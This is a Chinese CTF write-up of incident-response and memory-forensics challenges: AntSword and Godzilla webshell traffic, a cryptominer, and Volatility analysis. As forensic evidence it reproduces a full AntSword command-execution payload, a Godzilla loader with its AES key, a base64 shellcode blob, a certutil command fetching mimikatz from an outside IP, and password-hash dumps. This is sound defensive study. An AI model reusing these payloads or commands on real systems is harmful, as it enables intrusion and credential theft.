DIDCTF-应急响应(续)

发布于:2025-07-10 ⋅ 阅读:(22) ⋅ 点赞:(0)

前言

ok呀,期末考试也是考完了,考完感悟:菜菜,捞捞。

下面就是剩下的题了。

流量特征分析-蚁剑流量分析 - From 玄机

蚁剑流量分析-1

既然是蚁剑流量,肯定要了解蚁剑流量的特征

固有特征:存在 @ini_set("display_errors","0");@set_time_limit(0) ;base64 编码下存在:QGluaV9zZXQ;chr 编码下存在:cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116);rot13 编码下存在 :@vav_frg;响应包返回结果格式为:随机数 结果 随机数;(随机数包裹结果)

剑的流量是把执行的命令进行base64编码之后在开头填充两个任意字符

先统计一下发现有6个post请求,在tcp 0号发现蚁剑流量,url解码一下

1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.d53e47c56e78";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2c"."3f5";echo @asenc($output);echo "20"."c49";}ob_start();try{$p=base64_decode(substr($_POST["ma569eedd00c3b"],2));$s=base64_decode(substr($_POST["ucc3f8650c92ac"],2));$envstr=@base64_decode(substr($_POST["e5d0dbe94954b3"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&e5d0dbe94954b3=SR&ma569eedd00c3b=38L2Jpbi9zaA==&ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz

密码就是1 flag{1}

蚁剑流量分析-2

把上面的流量让ai分析一下

.虽然第一个是cd /var/www/html,但这个是蚁剑默认执行的,不是攻击者执行的,攻击者执行的是后面的id

flag{id}.

上面说到

e5d0dbe94954b3=SR
ma569eedd00c3b=38L2Jpbi9zaA==
ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz
第一个参数没有编码,不需要解码,后面两个都是base64,但是直接解码是解不出来的,蚁
剑的流量是把执行的命令进行base64编码之后在开头填充两个任意字符
L2Jpbi9zaA==
Y2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz
分别解码得到
/bin/sh
cd "/var/www/html";id;echo e124bc;pwd;echo 43523

蚁剑流量分析-3

还是继续往下看流量包,黑客列出了文件目录,然后执行了

cat /etc/passwd

 这几题的流量解码后都可以交给ai分析,就会得到答案

蚁剑流量分析-4

还是重复上面的操作

 文件名flag.txt

蚁剑流量分析-5

同上

内容为flag{write_flag}

蚁剑流量分析-6

在tcp流5号,黑客读取了/var/www/html/config.php

 flag{/var/www/html/config.php}

solar杯

1.1日志流量

我去,这第一题我就无从下手了。我还以为是流量包分析嘞😮‍💨。求助后知道要找留下的webshell,有的大佬用D盾扫描发现后门,我这里用的是火绒

这个文件就是我们要找的,打开是代码,直接交给ai

最关键的是

String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0="; String xc="a2550eeab0724a69"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}

code:这是一个 Base64 编码的字符串,很可能是经过加密处理后的数据。具体内容需要先进行 Base64 解码,再结合 AES 解密才能得知。

其实这就是哥斯拉流量 

ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0=,有点眼熟,base64解密一下

f!l^a*g{A7b4_X9zK_2v8N_wL5q4}这就是flag

还有以下是官方wp的知识

当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java),然后将其编译为 .class 文件。生成的 .class 文件是 Tomcat 用来处理请求并返回响应的实际代码。这个过程是动态的,Tomcat 会在后台管理这些文件的编译和更新。路径一般为:<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/

1.2日志流量

由上文得到流量包数据是经过加密的,同时也得到了密钥‘‘a2550eeab0724a69’’就可以解密了,我这里用的知攻善防的工具箱,一键解密,这里看到test数据包只有两个POST请求,解密看一下

没啥东西,在看看wire数据包最后找到

有个flag.txt,我真佩服那些一个一个找的大佬们,真有耐心

flag{sA4hP_89dFh_x09tY_lL4SI4}

1.3日志流量

还是这个包,解密发现pdf

但是到这我不会保存,然后看大佬文章,用cybetchef ,哥斯拉要添加那个Gunzip

然后点那个蓝色保存为pdf,打开得到flag

flag{dD7g_jk90_jnVm_aPkcs}

2.1数据库

我这里用DiskGenius打开这个vmdk文件,题目要找攻击者创建隐藏账户的时间,作为新手的我也是无从下手,这里复现官方wp,就是找security.evtx 文件

security.evtx 是 Windows 操作系统记录安全相关事件的事件日志文件,属于 Windows 事件查看器的重要组成部分,对于监控和调查 Windows 系统的安全事件至关重要

  • 存储位置:通常位于 C:\Windows\System32\winevt\Logs\ 目录

找到后在DiskGenius好像不能直接查看文件内容,复制到本机方便操作,在id为4720创建了好多用户

在 Windows 系统中,test$ 通常表示一个 隐藏的共享账户 或 计算机账户

flag{2024/12/16 15:24:21}

2.2数据库

还是老样子,扫描这个vmdk文件,把java文件夹弄到本机里,火绒直接发力了

那就是这个xmrig.exe

flag{xmrig.exe}
 

2.3数据库

在分析一波这个xmrig.exe

xmrig.exe 是 XMRig 开源 CPU/GPU 矿机软件的可执行文件,用于挖掘基于 CryptoNight 算法的加密货币(如门罗币 XMR)。需要注意的是,在中国,虚拟货币 “挖矿” 活动已被全面整治和禁止。

xmrig.exe 的外联地址是重要线索,可用于追踪挖矿程序的控制端或矿池等相关信息,帮助确定攻击源头和路径。矿池地址一般在config.json文件中

在取证分析中,XMRig 矿机软件的配置文件config.json是关键证据,其位置和内容能揭示挖矿活动的详细信息

在这个文件中找到url:sierting.com 

ping通得到ip

flag{ 203.107.45.167}

2.4数据库

附件不完整这里就不写了。

2.5数据库

在第一题那个目录中,最下面有windowsPowershell.evtx文件,大佬代码如下

import base64

base64_data = '''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'''
padding = '=' * (4 - len(base64_data) % 4)
base64_data += padding
compressed_data = base64.b64decode(base64_data)
with open("output.gz", "wb") as f:
    f.write(compressed_data)
print("保存成功")
import base64

base64_data = "/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V"
padding = '=' * (4 - len(base64_data) % 4)
base64_data += padding
decoded_data = base64.b64decode(base64_data)
with open('data.bin', 'wb') as file:
    file.write(decoded_data)
print("保存成功")

flag{d72000ee7388d7d58960db277a91cc40}

3.1内存取证

这是我写的第一道内存取证题,必须要感慨一下,在kali安装这个volatility真是一波三折好在终于是装好了!!

找到rdp连接的跳板地址,先分析一下:
RDP 是由微软开发的一种专有协议,它允许用户通过网络连接到远程计算机的桌面环境,就如同在本地操作一样。通过 RDP,用户可以在自己的设备(本地计算机)上访问和控制另一台计算机(远程计算机)的图形界面,执行诸如打开应用程序、传输文件、管理系统设置等操作,极大地提高了远程管理和协作的便利性。

3389 端口是 Windows 远程桌面协议(Remote Desktop Protocol,RDP)的默认端口

我们就要找3389端口外联的IP地址

首先先看看镜像信息

python2 vol.py -f /home/kali/SERVER-2008-20241220-162057.raw imageinfo

python2 vol.py -f /home/kali/SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 netscan,找3389就行了

flag{192.168.60.220}

3.2内存取证

通过历史命令找到

python2 vol.py -f /home/kali/SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 cmdscan

就是155.94.204.67这个ip

certutil -urlcache -split -f http://155.94.204.67:85/mimikatz.exe C:\Windows\Temp\mi.exe
就是从指定url下载文件

flag{155.94.204.67}

3.3内存取证

上面我们看到 type pass.txt,查看了pass.txt的内容,我们要找的答案就在这个文件里,因此导出这个文件

我在kali使用volatility,与windows的命令有点差异

python2 vol.py -f /home/kali/SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 filescan |grep "pass.txt"

python2 vol.py -f /home/kali/SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e4cedd0 -D ./

flag{GalaxManager_2012} 

3.4内存取证

根据题目要求要找·Security.evtx文件。

Security.evtx 是 Windows 操作系统中重要的日志文件

Security.evtx 主要记录以下类型的安全事件:

  1. 身份验证事件

    • 用户登录、注销、远程访问(如 RDP、VPN)的成功或失败记录(事件 ID 如 4624、4625)。
    • 账户密码验证、Kerberos 票据请求等身份验证过程。
  2. 账户与权限管理

    • 账户创建、修改、删除(事件 ID 4720、4726)。
    • 权限分配、组策略变更(事件 ID 4713、4738)。
  3. 系统访问与资源操作

    • 文件、文件夹、注册表的访问尝试(成功或失败,事件 ID 4656、4663)。
    • 进程启动、服务调用(事件 ID 4688、5140)。
  4. 安全策略与审计

    • 审核策略变更(事件 ID 4719)。
    • 安全日志清除、系统重启等关键操作(事件 ID 1102、1074)。
  5. 异常与威胁事件

    • 可疑登录尝试(如暴力破解,事件 ID 4625)。
    • 恶意软件活动、权限提升攻击的痕迹.


python2 vol.py -f /home/kali/SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 filescan |grep "Security.evtx"       
python2 vol.py -f /home/kali/SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e744ba0   -D ./
得到文件把后缀修改为.evtx。然后查看

flag{ASP.NET}

还有一种方法:

利用hashdump,每行对应一个用户账户,格式为 用户名:RID:LM哈希值:NTLM哈希值:描述:注释 ,在现代 Windows 系统中,主要使用的是 NTLM 哈希值进行密码验证,LM 哈希值一般为空或者是固定值(当密码长度小于等于 14 位时,LM 哈希值会被计算填充 )。

然后一个一个是就行了。

3.5内存取证

先列出进程

 python2 vol.py -f /home/kali/SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 pslist
然后看到

就是这个时间了,一交不对,因为这是UTC+0000,时区不一样UTC+0000是零时区,我们用的是北京时间,是东八区,就是UTC+08:00。所以要把这个时间加上8小时。

flag{2024/12/21 00:15:34}

还有一种方法就是在日志文件里找,事件id4624里,

 这个ip和端口就是第一问的IP和端口。一般干坏事也是凌晨(视频里这么讲的)

3.6内存取证

python2 vol.py -f /home/kali/SERVER-2008-20241220-162057.raw --profile=Win7SP1x64 hashdump

 用户名:RID:LM哈希值:NTLM哈希值:描述:注释 :

LM哈希值 一般在现代系统中较少使用(当密码长度小于等于 14 位时会计算填充 ),NTLM哈希值 是主要用于验证用户登录的密码哈希值

flag{5ffe97489cbec1e08d0c6339ec39416d}

solar杯写完了,完结🎉🎉


网站公告

今日签到

点亮在社区的每一天
去签到